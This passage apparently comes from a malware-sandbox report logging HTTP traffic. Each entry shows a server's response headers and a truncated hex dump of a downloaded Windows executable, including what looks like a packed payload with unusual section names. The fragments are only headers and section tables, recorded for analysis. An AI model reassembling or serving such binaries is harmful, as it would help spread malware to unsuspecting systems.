a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 12:01:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 12:01:45 GMTContent-Type: application/octet-streamContent-Length: 3240960Last-Modified: Sat, 16 Nov 2024 11:39:48 GMTConnection: keep-aliveETag: "67388484-317400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 73 87 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 65 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 65 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 7a 74 6d 63 6a 78 61 00 c0 2a 00 00 b0 06 00 00 b6 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 69 64 62 72 75 67 6d 00 10 00 00 00 70 31 00 00 04 00 00 00 4e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 52 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 12:03:08 GMTContent-Type: application/octet-streamContent-Length: 34965741Last-Modified: Sat, 16 Nov 2024 09:53:57 GMTConnection: keep-aliveETag: "67386bb5-21588ed"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 76 82 40 a2 32 e3 2e f1 32 e3 2e f1 32 e3 2e f1 e1 91 2d f0 2a e3 2e f1 e1 91 2b f0 e2 e3 2e f1 e1 91 2a f0 1c e3 2e f1 60 96 2a f0 21 e3 2e f1 60 96 2d f0 38 e3 2e f1 60 96 2b f0 53 e3 2e f1 54 8c d3 f1 3e e3 2e f1 32 e3 2e f1 2c e3 2e f1 f3 96 2d f0 30 e3 2e f1 f3 96 2b f0 50 e6 2e f1 f3 96 2a f0 63 e0 2e f1 e1 91 2f f0 25 e3 2e f1 32 e3 2f f1 a7 e2 2e f1 f3 96 27 f0 36 e3 2e f1 f3 96 2e f0 33 e3 2e f1 f3 96 d1 f1 33 e3 2e f1 32 e3 b9 f1 33 e3 2e f1 f3 96 2c f0 33 e3 2e f1 52 69 63 68 32 e3 2e f1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 42 bd c8 62 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 7e 0f 01 00 dc 2d 01 00 00 00 00 f8 c2 0a 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 3d 02 00 04 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 c0 e2 dd 01 e4 09 21 00 a4 ec fe 01 f0 00 00 00 00 a0 39 02 78 2a 02 00 00 b0 2c 02 a8 d8 0c 00 00 00 00 00 00 00 00 00 00 d0 3b 02 24 c3 01 00 20 15 ce 01 70 00 00 